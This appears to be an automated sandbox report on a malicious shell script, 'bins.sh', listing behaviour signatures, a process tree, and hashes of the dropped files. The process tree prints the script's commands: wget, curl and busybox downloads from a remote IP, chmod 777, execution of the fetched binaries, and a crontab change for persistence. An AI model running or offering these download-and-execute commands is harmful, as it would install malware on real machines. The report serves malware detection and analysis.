Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    06/11/2024, 04:30

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-e4519stpbs
  • SHA256 f5f80b2d8a257d32315d02d3c255fb0e4202f76e65570904e0493ecc2407b296
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2142) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1479
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1480
        • /usr/bin/wget
          wget http://87.120.84.230/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
          • Writes file to tmp directory
          PID:1486
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
          • Writes file to tmp directory
          PID:1488
        • /bin/chmod
          chmod 777 coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
          • File and Directory Permissions Modification
          PID:1489
        • /tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          ./coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
          • Executes dropped EXE
          PID:1490
        • /bin/rm
          rm coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
            PID:1492
          • /usr/bin/wget
            wget http://87.120.84.230/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
            • Writes file to tmp directory
            PID:1493
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
            • Writes file to tmp directory
            PID:1494
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
            • Writes file to tmp directory
            PID:1495
          • /bin/chmod
            chmod 777 AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
            • File and Directory Permissions Modification
            PID:1496
          • /tmp/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            ./AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
            • Executes dropped EXE
            PID:1497
          • /bin/rm
            rm AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
              PID:1499
            • /usr/bin/wget
              wget http://87.120.84.230/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
              • Writes file to tmp directory
              PID:1500
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
              • Writes file to tmp directory
              PID:1501
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
              • Writes file to tmp directory
              PID:1502
            • /bin/chmod
              chmod 777 lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
              • File and Directory Permissions Modification
              PID:1503
            • /tmp/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              ./lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:1504
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:1506
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:1507
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:1508
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:1509
                  • /bin/rm
                    rm lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
                    2⤵
                      PID:1511
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                      2⤵
                        PID:1514
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                        2⤵
                        • Writes file to tmp directory
                        PID:1515

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
                          • Path /tmp/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
                          • Size 117KB
                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                          • Path /tmp/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                          • Size 12KB
                          • SHA256 8304386b56b0c687020c7d3383c6d3bd79bee4847c002ceec62e74dc5a3713ea
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
                          • Path /tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
                          • Size 119KB
                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
                          • Path /tmp/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
                          • Size 99KB
                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.sYL6BD
                          • Path /var/spool/cron/crontabs/tmp.sYL6BD
                          • Size 210B
                          • SHA256 8be779e2e9b2f69b48efcf29cbf77fbf7f120d2db3338eb6b460b4a81f7c321a
                          • MD5 SHA1 SHA512
                          Submit Download